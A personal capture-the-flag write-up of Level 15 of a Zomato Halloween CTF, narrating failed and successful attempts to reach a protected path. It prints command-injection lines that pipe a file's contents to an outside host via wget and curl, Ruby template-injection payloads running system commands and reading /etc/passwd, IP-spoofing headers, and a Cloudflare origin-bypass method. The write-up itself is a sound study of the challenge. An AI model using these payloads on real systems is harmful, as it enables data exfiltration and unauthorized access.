Level 15 – Hackoween II #ZomatoCTF


No description for this :(, You know the rules and so do I

Description says the code is at path /level_15/code. But when you open the URL https://ctfzomato.com/level_15/code , it is redirected to this page.

At first I thought it is some RCE or LFI challenge where I have to read the file at the given path.

Wasted a lot of time trying RCE. Blame Lakshay (Bhagwaan maaf nahi karega)

Tried the SSRF vulnerable form on Level 6 to get RCE and send file content to my server on x.b99.in by submitting various payloads in form

|wget https://x.b99.in/zomctf?`cat /level_15/code`
|cat /level_15/code | curl -H "Transfer-Encoding: chunked" -F file=@fifo https://x.b99.in/zomctf
|curl https://x.b99.in/zomctf?$(cat /level_15/code)

and more from here. But nothing worked.

All I got was pings from Slack bot User-Agent: Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)

So they are getting slack alerts of suspicious links. Noice.

So I crafted a link with title “Level 12 Challenge 10 ka hint dedo 🙁” hoping they will see this in their slack. What’s the harm in trying! LOL

Also tried SSTI payloads, hoping the SSRF form will parse it. But that too didn’t work.

<html><head><title>Level 12 Challenge 10 ka hint dedo :(</title></head>
<body>
just trying template injection
<%= 8*7 %>
#{ 7 * 7 }
#{ %x|env| }
<%= File.open('/level_15/code').read %>
<%= Dir.entries('/') %>
<%= system('cat /etc/passwd') %>
<%= `ls /level_15/` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
<iframe src="http://127.0.0.1.nip.io/"></iframe>
</body>
</html>

The first hint was here.

The second hint was in this tweet by @newzomatohire

The third hint was shared by Jatin on CTF’s Slack.

The only morse code I remember is Nokia’s SMS tune.

... -- ...

Decoding this morse code gave another hint.

.-- . ·----· .-. . -. --- ... - .-. .- -. --. . .-. ... - --- .-.. --- ...- . -.-- --- ..- -.- -. --- .-- - .... . .-. ..- .-.. . ... .- -. -.. ... --- -.. --- .. .- ..-. ..- .-.. .-.. -.-. --- -- -- .. - -- . -. - ·----· ... .-- .... .- - .. ·----· -- - .... .. -. -.- .. -. --. --- ..-. -.-- --- ..- .-- --- ..- .-.. -.. -. ·----· - --. . - - .... .. ... ..-. .-. --- -- .- -. -.-- --- - .... . .-. --. ..- -.-- .. .--- ..- ... - .-- .- -. -. .- - . .-.. .-.. -.-- --- ..- .... --- .-- .. ·----· -- ..-. . . .-.. .. -. --. --. --- - - .- -- .- -.- . -.-- --- ..- ..- -. -.. . .-. ... - .- -. -.. -. . ...- . .-. --. --- -. -. .- --. .. ...- . -.-- --- ..- ..- .--. -. . ...- . .-. --. --- -. -. .- .-.. . - -.-- --- ..- -.. --- .-- -. -. . ...- . .-. --. --- -. -. .- .-. ..- -. .- .-. --- ..- -. -.. .- -. -.. -.. . ... . .-. - -.-- --- ..- -. . ...- . .-. --. --- -. -. .- -- .- -.- . -.-- --- ..- -.-. .-. -.-- -. . ...- . .-. --. --- -. -. .- ... .- -.-- --. --- --- -.. -... -.-- . -. . ...- . .-. --. --- -. -. .- - . .-.. .-.. .- .-.. .. . .- -. -.. .... ..- .-. - -.-- --- ..- .-- . ·----· ...- . -.- -. --- .-- -. . .- -.-. .... --- - .... . .-. ..-. --- .-. ... --- .-.. --- -. --. -.-- --- ..- .-. .... . .- .-. - ·----· ... -... . . -. .- -.-. .... .. -. --. --··-- -... ..- - -.-- --- ..- ·----· .-. . - --- --- ... .... -.-- - --- ... .- -.-- .. - .. -. ... .. -.. . --··-- .-- . -... --- - .... -.- -. --- .-- .-- .... .- - ·----· ... -... . . -. --. --- .. -. --. --- -. .-- . -.- -. --- .-- - .... . --. .- -- . .- -. -.. .-- . ·----· .-. . --. --- -. -. .- .--. .-.. .- -.-- .. - .- -. -.. .. ..-. -.-- --- ..- .- ... -.- -- . .... --- .-- .. ·----· -- ..-. . . .-.. .. -. --. -.. --- -. ·----· - - . .-.. .-.. -- . -.-- --- ..- ·----· .-. . - --- --- -... .-.. .. -. -.. - --- ... . . -. . ...- . .-. --. --- -. -. .- --. .. ...- . -.-- --- ..- ..- .--. -. . ...- . .-. --. --- -. -. .- .-.. . - -.-- --- ..- -.. --- .-- -. -. . ...- . .-. --. --- -. -. .- .-. ..- -. .- .-. --- ..- -. -.. .- -. -.. -.. . ... . .-. - -.-- --- ..- -. . ...- . .-. --. --- -. -. .- -- .- -.- . -.-- --- ..- -.-. .-. -.-- -. . ...- . .-. --. --- -. -. .- ... .- -.-- --. --- --- -.. -... -.-- . -. . ...- . .-. --. --- -. -. .- - . .-.. .-.. .- .-.. .. . .- -. -.. .... ..- .-. - -.-- --- ..- -. . ...- . .-. --. --- -. -. .- --. .. ...- . -.-- --- ..- ..- .--. -. . ...- . .-. --. --- -. -. .- .-.. . - -.-- --- ..- -.. --- .-- -. -. . ...- . .-. --. --- -. -. .- .-. ..- -. .- .-. --- ..- -. -.. .- -. -.. -.. . ... . .-. - -.-- --- ..- -. . ...- . .-. --. --- -. -. .- -- .- -.- . -.-- --- ..- -.-. .-. -.-- -. . ...- . .-. --. --- -. -. .- ... .- -.-- --. --- --- -.. -... -.-- . -. . ...- . .-. --. --- -. -. .- - . .-.. .-.. .- .-.. .. . .- -. -.. .... ..- .-. - -.-- --- ..- -·--· --- --- .... --··-- --. .. ...- . -.-- --- ..- ..- .--. -·--·- -·--· --- --- .... --··-- --. .. ...- . -.-- --- ..- ..- .--. -·--·- -. . ...- . .-. --. --- -. -. .- --. .. ...- . --··-- -. . ...- . .-. --. --- -. -. .- --. .. ...- . -·--· --. .. ...- . -.-- --- ..- ..- .--. -·--·- -. . ...- . .-. --. --- -. -. .- --. .. ...- . --··-- -. . ...- . .-. --. --- -. -. .- --. .. ...- . -·--· --. .. ...- . -.-- --- ..- ..- .--. -·--·- .-- . ·----· ...- . -.- -. --- .-- -. . .- -.-. .... --- - .... . .-. ..-. --- .-. ... --- .-.. --- -. --. -.-- --- ..- .-. .... . .- .-. - ·----· ... -... . . -. .- -.-. .... .. -. --. --··-- -... ..- - -.-- --- ..- ·----· .-. . - --- --- ... .... -.-- - --- ... .- -.-- .. - .. -. ... .. -.. . --··-- .-- . -... --- - .... -.- -. --- .-- .-- .... .- - ·----· ... -... . . -. --. --- .. -. --. --- -. .-- . -.- -. --- .-- - .... . --. .- -- . .- -. -.. .-- . ·----· .-. . --. --- -. -. .- .--. .-.. .- -.-- .. - .. .--- ..- ... - .-- .- -. -. .- - . .-.. .-.. -.-- --- ..- .... --- .-- .. ·----· -- ..-. . . .-.. .. -. --. --. --- - - .- -- .- -.- . -.-- --- ..- ..- -. -.. . .-. ... - .- -. -.. -. . ...- . .-. --. --- -. -. .- --. .. ...- . -.-- --- ..- ..- .--. -. . ...- . .-. --. --- -. -. .- .-.. . - -.-- --- ..- -.. --- .-- -. -. . ...- . .-. --. --- -. -. .- .-. ..- -. .- .-. --- ..- -. -.. .- -. -.. -.. . ... . .-. - -.-- --- ..- -. . ...- . .-. --. --- -. -. .- -- .- -.- . -.-- --- ..- -.-. .-. -.-- -. . ...- . .-. --. --- -. -. .- ... .- -.-- --. --- --- -.. -... -.-- . -. . ...- . .-. --. --- -. -. .- - . .-.. .-.. .- .-.. .. . .- -. -.. .... ..- .-. - -.-- --- ..- -. . ...- . .-. --. --- -. -. .- --. .. ...- . -.-- --- ..- ..- .--. -. . ...- . .-. --. --- -. -. .- .-.. . - -.-- --- ..- -.. --- .-- -. -. . ...- . .-. --. --- -. -. .- .-. ..- -. .- .-. --- ..- -. -.. .- -. -.. -.. . ... . .-. - -.-- --- ..- -. . ...- . .-. --. --- -. -. .- -- .- -.- . -.-- --- ..- -.-. .-. -.-- -. . ...- . .-. --. --- -. -. .- ... .- -.-- --. --- --- -.. -... -.-- . -. . ...- . .-. --. --- -. -. .- - . .-.. .-.. .- .-.. .. . .- -. -.. .... ..- .-. - -.-- --- ..- -. . ...- . .-. --. --- -. -. .- --. .. ...- . -.-- --- ..- ..- .--. -. . ...- . .-. --. --- -. -. .- .-.. . - -.-- --- ..- -.. --- .-- -. -. . ...- . .-. --. --- -. -. .- .-. ..- -. .- .-. --- ..- -. -.. .- -. -.. -.. . ... . .-. - -.-- --- ..- -. . ...- . .-. --. --- -. -. .- -- .- -.- . -.-- --- ..- -.-. .-. -.-- -. . ...- . .-. --. --- -. -. .- ... .- -.-- --. --- --- -.. -... -.-- . -. . ...- . .-. --. --- -. -. .- - . .-.. .-.. .- .-.. .. . .- -. -.. .... ..- .-. - -.-- --- ..-

Used this to read the morse code https://morsedecoder.com/

After getting all these hints, I knew what to do exactly! Nothing!

Nothing worked. Then asked Yash who had solved the level that if this level had information involved from another level. To which he said yes.

Then I tried putting random codes in level. Various keywords like my email, zomato, current URL, session cookie, sub_enc_id from Level 10, hackoween (this was the secret used to create JWT cookie in Level 10, read it on Yash’s writeup).

I noticed there are two types of errors.

Invalid code and Incorrect code.

Any random string returned message INVALID CODE

But strings encrypted by server (maybe ActiveSupport::MessageEncryptor of Ruby on Rails?) returned INCORRECT CODE. So I tried all the encrypted strings I received from server.

  • Base64 string in current URL
  • Base64 encoded session cookie _hackathon2_session
  • sub_enc_id from Level 10

These didn’t work. But then it came to my mind that there’s one more encrypted base64 string returned by server. reset-request-id field in Level 1

But THIS WORKED!!!?? What? How?

When I submitted the flag, it said “Origin IP”. So IP bypass was the real solution.

I got the flag for this level but I was curious to find the real solution. Got back to the challenge and looked at the redirect response of https://ctfzomato.com/level_15/code

I noticed that all the other responses from CTF portal have HTTP headers like Set-Cookie, X-Request-Id, X-Runtime but this /level_15/code didn’t have any of these. So it was not redirected the server, but by Cloudflare.

It is redirected by Cloudflare rule. I tried to bypass the rule using various path traversal payloads, white characters, URL encoding, vhost fuzzing where I tried to get access using popular subdomains dictionary.

Used the tiny wordlist from https://github.com/n0kovo/n0kovo_subdomains

FUZZ.ctfzomato.com

Didn’t work.

Everything returned that Cloudflare redirect rule page. That means I need the real IP of server.

Got it easily from SSRF Level by entering the link I got from https://app.interactsh.com/.

Access by IP returned 403 Forbidden. It should be bypassed.

Tried HTTPs headers (got these from https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/special-http-headers)

  • X-Originating-IP: 127.0.0.1
  • X-Forwarded-For: 127.0.0.1
  • X-Forwarded: 127.0.0.1
  • Forwarded-For: 127.0.0.1
  • X-Forwarded-Host: 127.0.0.1
  • X-Remote-IP: 127.0.0.1
  • X-Remote-Addr: 127.0.0.1
  • X-ProxyUser-Ip: 127.0.0.1
  • X-Original-URL: 127.0.0.1
  • Client-IP: 127.0.0.1
  • X-Client-IP: 127.0.0.1
  • X-Host: 127.0.0.1
  • True-Client-IP: 127.0.0.1
  • Cluster-Client-IP: 127.0.0.1
  • X-ProxyUser-Ip: 127.0.0.1
  • Via: 1.0 fred, 1.1 127.0.0.1

Didn’t work.

So I assumed only traffic by Cloudflare is allowed.

Then I tried Cloudflare workers playground to use cloudflare as proxy to access the url http://51.15.73.106/level_15/code

Didn’t work.

Then tried Cloudflare WARP Client. It tunnels your traffic through Cloudflare network. But that also didn’t work.

Then created a subdomain to my existing domain in Cloudflare and mapped it to the IP. So the traffic is proxied through Cloudflare and server accepts it.

Opened the URL of subdomain I created (zom.qtadb.com) and IT WORKED.



Leave a Reply

Your email address will not be published. Required fields are marked *